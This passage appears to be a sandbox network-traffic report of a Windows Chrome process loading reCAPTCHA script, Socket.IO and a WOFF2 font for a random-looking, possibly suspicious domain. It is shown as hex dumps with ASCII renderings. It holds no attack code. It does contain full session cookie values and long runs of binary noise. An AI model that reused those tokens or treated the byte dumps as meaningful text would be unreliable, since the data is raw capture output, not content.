75 b5 9f c5 e8 e8 9f 71 7a dd 97 c9 2f 3f da fe f8 e2 bc fc c1 63 6d f7 5f ce f9 a2 56 b8 ee df f1 32 f6 7e fe 04 f6 7d ad e7 c6 8f 17 Data Ascii: ,Ay1`\3bcBt)QU7c4,Kf_Xa+)^Q6/Ztw>wfi/3#lyN~a9wm~5P-%2F!^@9B\|=xX2b\:.8G0,kcGuqz/?cm_V2~}
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 24 c2 03 28 ac 50 96 bb ef f8 1e 3c 28 7c 24 bc f6 92 80 47 fa cf 6c 9c 21 68 97 ad 5d b7 f4 2f ec 5f 77 ff 34 c9 7e 80 a9 b7 bf c0 ef cc ed 7b 44 f8 b2 bd ae ae 4d 78 98 cc b3 e4 d1 db 5c 3a d0 38 89 e8 df b0 50 15 cf 61 16 24 07 cb 32 cd 40 e4 00 51 7c 28 fa 37 2a 22 38 d0 d3 1d 25 e1 24 5e 11 20 11 ac 99 62 10 13 67 c9 2c 04 e9 1a 20 0a 5b 15 a1 23 19 7d 66 da c0 4b 7b 9a 7c 47 dc 32 2b ba b2 57 ae 78 7f 14 bd 3f 75 e5 33 ed 4f 7e 91 fd 45 74 5f 75 75 ef fb c2 fb b3 b6 bc e4 9f 37 70 64 81 6d 5a 47 51 64 73 49 7f cf c0 b9 4b 73 0f f4 e4 1c 7f b8 70 76 55 fd f4 fe ee be 33 17 9a 1e 1e 28 00 7c fd 81 76 bb a9 1d 15 6a 0b 22 04 a2 3a d8 9b e8 04 51 be d2 09 88 41 be 13 6d 85 df 15 66 70 2b 84 19 02 f7 e4 67 9f dd 6d 83 fa 0f 41 7f df 85 fa c1 28 c6 66 00 Data Ascii: $(P<(\|$Gl!h]/_w4~{DMx\:8Pa$2@Q\|(7*"8%$^ bg, [#}fK{\|G2+Wx?u3O~Et_uu7pdmZGQdsIKspvU3(\|vj":QAmfp+gmA(f
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 0f 03 db c2 c7 5d 85 d2 70 9a c3 c8 aa a2 8d 93 28 3e 95 5a 45 fe 3b 50 6b d7 92 2d d1 31 ee 01 1e f7 fd 6c 1b 51 87 4b ea eb 87 6c 21 42 79 43 c0 d4 a8 cc 34 85 6a 30 de 96 9e 0c 5c fd 20 68 c8 d6 71 1a f2 85 27 6e 36 04 64 45 65 36 a5 c8 54 24 fc da 02 f3 0d a4 20 f2 45 91 28 cb 66 06 9e 52 63 06 ac 77 62 1a 49 f2 56 e3 10 c0 f0 d3 12 cb 30 24 48 1b e9 17 a9 05 db d3 8d 58 e0 8e 3e b8 d6 68 31 63 c5 0f 27 83 fe d3 f1 be f8 92 25 63 de 38 ee 13 1e 72 f4 c8 99 c5 97 ec 3f 12 bd 72 61 f7 25 61 c3 ff 0f f0 03 ed c7 df 47 7d c1 40 82 9f 1b f0 21 08 78 ce 1d bc 51 90 65 2a de 5d 25 79 a5 6a 4c f5 55 60 80 de 5f e7 27 69 2b ad af a7 3a 1c 3c 18 bd c1 62 d6 9b f5 46 d1 45 25 28 ea 40 6b 5e 22 ae ea e0 20 71 56 e1 2f d3 6f 7f 90 df f9 e9 a7 9f 1e bd 7b 87 f8 ac Data Ascii: ]p(>ZE;Pk-1lQKl!ByC4j0\ hq'n6dEe6T$ E(fRcwbIV0$HX>h1c'%c8r?ra%aG}@!xQe*]%yjLU`_'i+:<bFE%(@k^" qV/o{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49774	172.253.124.99	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:07 UTC	714	OUT	GET /recaptcha/api.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://o5u7g.zleu9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:54:07 UTC	528	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Tue, 23 Apr 2024 19:54:07 GMT Date: Tue, 23 Apr 2024 19:54:07 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-23 19:54:07 UTC	727	IN	Data Raw: 34 63 36 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 4c6/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2024-04-23 19:54:07 UTC	502	IN	Data Raw: 63 47 6c 79 65 53 49 36 4d 54 63 79 4e 54 51 77 4e 7a 6b 35 4f 53 77 69 61 58 4e 54 64 57 4a 6b 62 32 31 68 61 57 34 69 4f 6e 52 79 64 57 55 73 49 6d 6c 7a 56 47 68 70 63 6d 52 51 59 58 4a 30 65 53 49 36 64 48 4a 31 5a 58 30 3d 27 3b 64 2e 68 65 61 64 2e 70 72 65 70 65 6e 64 28 6d 29 3b 70 6f 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 3b 70 6f 2e 63 72 6f 73 73 4f 72 69 67 69 6e 3d 27 61 6e 6f 6e 79 6d 6f 75 73 27 3b 70 6f 2e 69 6e 74 65 67 72 69 74 79 3d 27 73 68 61 33 38 34 2d 41 32 33 36 4a 2f 5a 55 67 55 2b 30 2f 4f 36 62 2f Data Ascii: cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-A236J/ZUgU+0/O6b/
2024-04-23 19:54:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49775	99.84.108.67	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:07 UTC	622	OUT	GET /4.6.0/socket.io.min.js HTTP/1.1 Host: cdn.socket.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://o5u7g.zleu9.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 19:54:07 UTC	702	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 45806 Connection: close Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000, immutable Content-Disposition: inline; filename="socket.io.min.js" Date: Tue, 16 Apr 2024 19:40:08 GMT ETag: "80f5b8c6a9eeac15de93e5a112036a06" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Vercel-Cache: HIT X-Vercel-Id: iad1::wnxjz-1713296408969-670e28de6495 X-Cache: Hit from cloudfront Via: 1.1 cd3b189d4dff15bd0a2ccf14f97ffda2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD79-C2 X-Amz-Cf-Id: YgYysN2WLAVl9eOxOfq52Jj8WVIPOWb0Y0qEaLk2ObxWkNHw56efSA== Age: 1218081
2024-04-23 19:54:07 UTC	15682	IN	Data Raw: 2f 2a 21 0a 20 2a 20 53 6f 63 6b 65 74 2e 49 4f 20 76 34 2e 36 2e 30 0a 20 2a 20 28 63 29 20 32 30 31 34 2d 32 30 32 33 20 47 75 69 6c 6c 65 72 6d 6f 20 52 61 75 63 68 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 65 29 3a 28 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: /! Socket.IO v4.6.0 * (c) 2014-2023 Guillermo Rauch * Released under the MIT License. */!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof g
2024-04-23 19:54:07 UTC	16384	IN	Data Raw: 72 69 67 69 6e 22 2c 22 6d 61 78 50 61 79 6c 6f 61 64 22 2c 22 66 61 6d 69 6c 79 22 2c 22 63 68 65 63 6b 53 65 72 76 65 72 49 64 65 6e 74 69 74 79 22 29 3b 74 68 69 73 2e 6f 70 74 73 2e 65 78 74 72 61 48 65 61 64 65 72 73 26 26 28 6e 2e 68 65 61 64 65 72 73 3d 74 68 69 73 2e 6f 70 74 73 2e 65 78 74 72 61 48 65 61 64 65 72 73 29 3b 74 72 79 7b 74 68 69 73 2e 77 73 3d 73 74 3f 6e 65 77 20 6f 74 28 74 2c 65 2c 6e 29 3a 65 3f 6e 65 77 20 6f 74 28 74 2c 65 29 3a 6e 65 77 20 6f 74 28 74 29 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 65 72 72 6f 72 22 2c 74 29 7d 74 68 69 73 2e 77 73 2e 62 69 6e 61 72 79 54 79 70 65 3d 74 68 69 73 2e 73 6f 63 6b 65 74 2e 62 69 6e 61 72 79 54 79 70 65 7c 7c 22 61 72 Data Ascii: rigin","maxPayload","family","checkServerIdentity");this.opts.extraHeaders&&(n.headers=this.opts.extraHeaders);try{this.ws=st?new ot(t,e,n):e?new ot(t,e):new ot(t)}catch(t){return this.emitReserved("error",t)}this.ws.binaryType=this.socket.binaryType\|\|"ar
2024-04-23 19:54:07 UTC	13740	IN	Data Raw: 6f 72 22 2c 74 68 69 73 2e 6f 6e 65 72 72 6f 72 2e 62 69 6e 64 28 74 68 69 73 29 29 2c 43 74 28 74 2c 22 63 6c 6f 73 65 22 2c 74 68 69 73 2e 6f 6e 63 6c 6f 73 65 2e 62 69 6e 64 28 74 68 69 73 29 29 5d 7d 7d 7d 2c 7b 6b 65 79 3a 22 61 63 74 69 76 65 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 21 74 68 69 73 2e 73 75 62 73 7d 7d 2c 7b 6b 65 79 3a 22 63 6f 6e 6e 65 63 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 6f 6e 6e 65 63 74 65 64 7c 7c 28 74 68 69 73 2e 73 75 62 45 76 65 6e 74 73 28 29 2c 74 68 69 73 2e 69 6f 2e 5f 72 65 63 6f 6e 6e 65 63 74 69 6e 67 7c 7c 74 68 69 73 2e 69 6f 2e 6f 70 65 6e 28 29 2c 22 6f 70 65 6e 22 3d 3d 3d 74 68 69 73 2e 69 6f 2e 5f 72 65 61 64 79 53 Data Ascii: or",this.onerror.bind(this)),Ct(t,"close",this.onclose.bind(this))]}}},{key:"active",get:function(){return!!this.subs}},{key:"connect",value:function(){return this.connected\|\|(this.subEvents(),this.io._reconnecting\|\|this.io.open(),"open"===this.io._readyS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49772	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:07 UTC	1448	OUT	GET /90LHee5UjNMUuFaF7C23ZIhMnMnuv58 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://o5u7g.zleu9.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
2024-04-23 19:54:07 UTC	624	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:07 GMT Content-Type: font/woff2 Content-Length: 28584 Connection: close Content-Disposition: inline; filename="90LHee5UjNMUuFaF7C23ZIhMnMnuv58" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yxK5k18NX574Rs3E02CokTPIR14TTSC564SfxkOclW%2F%2FwYLlCg79YD0rJXWYO0rHgHm1iEyPSwM9XPdtnq0CHJd3uQ8FUcBACEqivQcdlMsVDPnGYR3qOfOYbUsNKg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879067548bba4587-ATL
2024-04-23 19:54:07 UTC	745	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 6f a8 00 10 00 00 00 01 36 78 00 00 6f 47 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 bc 3e 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 c0 68 82 a2 42 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 27 07 97 7b 0c 81 0d 5b 78 22 71 04 dd b6 5d c4 a2 0a ca 1b ec 97 68 4a b7 df b3 0a d8 b1 27 dc 0e e2 ce 96 b5 c5 0a 36 ae 32 bb 5b 95 0a ec 05 71 f6 ff ff 7f 7a d2 88 b1 6d 43 77 77 ff 00 08 2a a9 65 55 b0 0a 53 9a a2 10 14 ad 17 8a 9a 11 30 8d c1 53 1a 73 a6 e1 b6 2c ad b0 c2 e4 5c e5 65 96 de 46 b1 26 ef 94 d7 16 8d 6f 55 2a 52 1a 7d 51 f7 43 8e e7 32 b9 54 44 c8 b6 e1 0a d3 35 11 09 23 e7 fa 68 14 48 a4 32 ac 7c 3c e8 31 a3 7a a7 a2 5d cf 78 5a f4 95 0f 7a 9d f0 7a b2 e4 97 57 f8 13 be d9 Data Ascii: wOF2o6xoGB>`<<bhB6$x> '{[x"q]hJ'62[qzmCwweUS0Ss,\eF&oUR}QC2TD5#hH2\|<1z]xZzzW
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 0b 20 00 9e 7f f7 d3 db e4 35 29 e5 97 60 00 e0 77 26 a7 ec 8c 51 bd 04 a5 aa 2d c9 13 20 11 06 0d 39 e4 58 74 9e 2f 53 51 3f 14 73 2b 75 0c 39 ee 1f 5c b1 68 d4 6c b0 47 cb 23 fc 2a a7 d5 23 40 83 46 d2 88 c9 66 c5 31 84 66 01 9d 3d 60 1f f0 e3 f1 70 ca 0b 01 a0 c2 94 3d 63 f0 be d9 92 66 3d 9c eb 70 20 34 42 79 0e 75 ff 7a 27 cb 0f ee 24 3b 04 73 b6 a4 dd 16 db 7a d0 f6 e3 e3 12 58 be c5 6e 36 79 2d e0 06 b4 05 18 a1 7f b4 fd cf 8a 12 3c cd 09 17 b1 bb 1d be 58 9e 81 7f 85 04 cd 7e 2b 6a 8a 7a bb 6a b2 f8 ff ee f7 db c0 37 f0 50 44 93 b8 4f 10 d5 77 d1 fa 39 9d 90 38 5d 13 21 7e 43 26 98 18 b4 cd d0 fb 13 2a 4c 43 45 d3 dc 4e 66 7e af 4e 9f 65 4a fa 69 58 6e 58 2a 43 81 26 e6 f5 bf 8b 74 b6 55 83 fc 4e 72 d2 40 91 b6 6c 5a b0 80 a7 03 20 d9 8f 58 b9 a2 Data Ascii: 5)`w&Q- 9Xt/SQ?s+u9\hlG##@Ff1f=`p=cf=p 4Byuz'$;szXn6y-<X~+jzj7PDOw98]!~C&LCENf~NeJiXnX*C&tUNr@lZ X
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 4d be ef 69 9d 44 eb 95 0e 88 ec 30 d0 66 50 36 51 17 59 8c ca 45 0b 23 fa 81 55 bc 59 5f 55 fe a0 40 a1 20 35 57 9b d4 3c b9 b3 29 ed a7 16 d3 13 45 0b c5 4c 25 f1 30 23 97 d9 4e bd 28 ab 1d d0 c2 14 6f c9 61 f9 56 40 1e 2b aa 69 29 e1 5a 15 f9 c1 0e 10 e8 40 d0 3a 0c 29 8c a9 39 12 e8 b0 01 e8 f6 ee 52 ab d2 f0 06 94 a4 e3 89 30 00 08 57 44 ed a2 83 bc a0 e0 07 54 5b 4d 54 db a3 29 51 e2 43 bf 56 c9 5a 96 e8 1f 92 c0 20 b0 78 90 51 a2 3c 19 06 e5 c4 18 b4 51 95 16 6c ec cd a6 0b e6 b6 d1 db 00 56 0c 1e a0 cb a0 80 03 02 ba eb e2 92 60 fa 62 ea 87 59 4d 58 29 3a 30 36 0c 02 ce fb 12 0a 67 57 cf 6d 7c f0 81 96 93 88 02 ba ef 92 55 dd 8c f9 fa 69 f2 71 0c 59 37 73 08 39 5d ce e5 85 bb 59 16 bd 18 b4 30 75 01 f3 09 a6 26 0f af 55 73 55 f9 8b 2d cb f9 49 0a Data Ascii: MiD0fP6QYE#UY_U@ 5W<)EL%0#N(oaV@+i)Z@:)9R0WDT[MT)QCVZ xQ<QlV`bYMX):06gWm\|UiqY7s9]Y0u&UsU-I
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 3b c2 fb bf fc 8c 82 bb fa 9b 75 db a1 66 75 c9 75 d3 64 f1 8c aa ea bf de f8 8f 20 f3 86 3a ba e8 43 54 6a 8a 28 69 af 3c e6 ea b6 b2 5d 1b f8 18 09 92 64 e8 bd 0a 1d e0 d3 ba bc 10 cc cb 06 57 5c 77 bd a9 1a 44 81 23 b1 00 73 e8 10 9d bc f0 cc 39 be 92 1c 86 29 96 14 29 84 bf f5 e6 98 7e 7c d5 7f bf fc c3 77 d3 3c 9d cf ff 57 80 cf 97 9a d9 60 5e bd 00 ef d9 ff 57 bb 7c 10 17 61 91 5f e2 e0 bf 67 17 38 6d 72 f7 c0 87 b9 c7 2b b1 0e 4b b1 bd 52 1c c4 78 e7 87 af ff f6 09 93 1e 60 d4 16 c7 bd 7b 90 2e ac c4 27 6b 93 0d 57 9e 7c 28 0f 5c f9 c6 1c d3 b8 97 5b 0f 28 3e 06 4b ae 4a 42 c2 63 6d 65 b3 87 f4 02 73 e9 ec 31 94 dd 4d 35 43 9e 82 ef 1a 19 ca 1a de 11 5a 06 1e 1c 66 50 e3 92 33 b2 78 9f 06 fa de d0 77 b9 e5 f7 d4 e5 a7 d9 89 be 67 54 d4 43 9f 16 46 Data Ascii: ;ufuud :CTj(i<]dW\wD#s9))~\|w<W`^W\|a_g8mr+KRx`{.'kW\|(\[(>KJBcmes1M5CZfP3xwgTCF
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 0c 09 37 5f 5d ca 6d 2a c2 93 2c 7c e1 4f 0a f5 78 68 ed f3 95 63 92 85 c2 64 da 80 92 57 22 90 60 5c e2 76 78 80 a3 e7 17 e6 65 84 d8 68 fc 45 39 36 9d b6 bd 10 a7 d5 3c 40 98 a4 95 3d 2f 5c b2 3e 4f 05 c0 c6 03 43 4f 91 c1 b6 2a 1c ab 73 0f 48 30 21 8e 1a d3 24 e5 69 1b 45 37 55 e3 c4 1b 70 81 70 c6 8e c3 c7 15 fd d0 6a 42 d4 1a 9b 2c 71 78 1c 68 90 8e 66 52 12 59 39 ec 05 60 4b 10 46 0a d3 3b 4f 93 e9 9c 42 34 fe 5a 4c 23 c9 da 61 da ca b0 2e 42 bf ba 4e 43 ee 7b a5 b6 cd 10 a9 9e d6 76 c2 da 8c 75 0b 16 88 a2 6a f6 21 ff 46 59 15 b1 d8 a4 ae 93 c7 8f 9e 79 f0 b8 5e 0d 87 be b3 43 8a 3b 87 21 5b ce a4 5d 92 b7 f9 a1 38 f5 96 d0 8b c3 0e d8 3d be 24 30 f0 11 92 c4 5c c9 d4 f5 38 62 51 c4 09 ab 9c ee 74 c2 1d 9d 3f 80 6f 2b ee d5 47 d6 5b 60 91 6e 70 0d Data Ascii: 7_]m,\|OxhcdW"`\vxehE96<@=/\>OCOsH0!$iE7UppjB,qxhfRY9`KF;OB4ZL#a.BNC{vuj!FYy^C;![]8=$0\8bQt?o+G[`np
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 2a 13 91 05 2e 44 bf ef c7 df 5e 30 2e a5 1f cd 43 40 1e 70 cc f3 0a 36 82 72 f9 89 38 79 b0 a5 24 70 54 fe 74 60 c5 01 22 5e b9 e6 19 a1 43 02 57 17 2b 13 89 c3 3d af 86 3d 5b 59 ec d0 9d 86 23 f9 67 f1 fb 3a 58 07 48 c6 63 87 75 a2 a8 0c 94 5b bc 1e 8e 82 53 19 0c 24 da 49 3c 17 4c 27 29 d9 9d 80 57 5a ab 4f 76 b1 d5 d5 66 d6 cd 0b 43 de c4 07 9d fb 6a 3d 35 5d 05 18 4d fc cf f3 d5 52 8a 37 07 16 7b c0 bd 19 bc 8f 5b ba 06 00 c5 83 23 de f6 d2 01 41 b8 02 01 50 23 69 24 5c 1c ef 34 bf 27 04 01 13 5c 88 a0 4a 93 f8 12 79 bb a9 68 e7 2f 4d 81 05 1e 94 a0 46 8b ee 74 70 0e c0 c0 06 bf 4a a1 4d 9b de 6d 3c 06 38 10 40 08 15 1a b4 ec f1 81 bb 5f 18 f6 cc 77 10 ea 8d 43 df 85 0f fd 36 f8 e2 04 f8 bf 37 77 9c 81 9f e8 12 4f 3f 5c fa 4a 33 6a 34 14 cd b7 3d 06 Data Ascii: *.D^0.C@p6r8y$pTt`"^CW+==[Y#g:XHcu[S$I<L')WZOvfCj=5]MR7{[#AP#i$\4'\Jyh/MFtpJMm<8@_wC67wO?\J3j4=
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: b5 46 e9 89 d1 1b ab 7b 8a be a9 a2 c5 b8 43 ea 57 b3 bc 10 37 82 25 84 7d 6c eb e6 e6 16 e5 cc a2 be 5d 7f 9c 81 78 43 89 26 d3 24 7b 66 a6 e7 a6 78 6a 9a 55 d3 3d 36 c3 13 cb bc b7 a6 03 56 fb 2f cd 7d 12 13 c0 38 5c 55 a0 e1 24 e3 29 0d 8d ab 57 ae 5a f3 da 99 73 6a ff 83 13 79 f9 de ad a4 cd b6 da 6b 75 de 3c 4e 5d ab ad 29 8e bd e8 f4 90 28 0f 5f 6c f3 f3 71 f4 b1 c7 9f 78 f2 a9 a7 9f e1 41 ca f5 83 8e 3b ef 36 73 5a b5 d9 a6 5d 87 4e 5d ba f5 da 6e 87 9d 76 d9 6d 8f bd fa ed 33 f0 8a 1f 7c f0 73 cd 61 47 f8 86 14 f4 d9 05 4a 43 a1 a2 d7 e1 81 fb 1e 7a e2 b1 e7 3e fb e6 2b 1b 30 fb 13 00 f8 c0 06 e0 02 9b 00 1e f7 07 3f 94 ea cb 9c fd 8a 07 b7 5f 72 79 43 e1 99 99 f9 af 64 20 e2 d5 4f f8 1a 9f 0f 45 87 ab 6f b8 e5 b6 3b 6e 6a 3e 07 38 ea e2 92 3d 6f Data Ascii: F{CW7%}l]xC&${fxjU=6V/}8\U$)WZsjyku<N])(_lqxA;6sZ]N]nvm3\|saGJCz>+0?_ryCd OEo;nj>8=o
2024-04-23 19:54:07 UTC	1369	IN	Data Raw: 34 0b 2d ab af a9 57 67 f7 51 bd 61 37 69 bc 69 4b 76 78 bf 58 39 1e 64 1d 8e 2d 52 6f f1 43 6b ea a6 58 f8 13 68 45 70 b2 db 5a 4d d1 66 ac 0c bc b8 74 db ad f6 4c df 84 10 7c 9b 9c ea 48 0d 9c 0e 4c d5 de a5 81 a8 4e 91 7e be 3d c8 de d1 df a1 59 98 3a 2d 47 0e ae f9 33 c0 16 17 db ed 6f c8 04 34 b3 31 0a 82 b1 49 41 13 32 21 98 26 40 6b 46 10 cc 4d d0 02 82 65 02 75 ad 08 82 b5 09 da 40 b0 4d 80 d2 8e 20 d8 9b a0 03 04 c7 04 5a 3a 11 04 67 13 74 81 e0 9a 40 43 37 82 e0 6e 82 1e 90 ef 09 85 af e3 7e 79 b3 a8 3c 1f af a3 ea b7 59 3a 65 d4 f0 e9 2e 26 f6 67 88 bf 3c 17 fe 4a 7d 86 6f b3 d4 df 1f 89 7f d8 c2 3f 29 f0 6b 96 fb f7 23 f1 1f 5b f8 2f 05 29 b5 c1 3b 3f f9 d3 9d 6f 74 4d 92 6e c1 9b 60 e7 5b 3f ce 93 de be b6 0e 52 ab 33 bf 5e c8 c7 d5 43 95 3d Data Ascii: 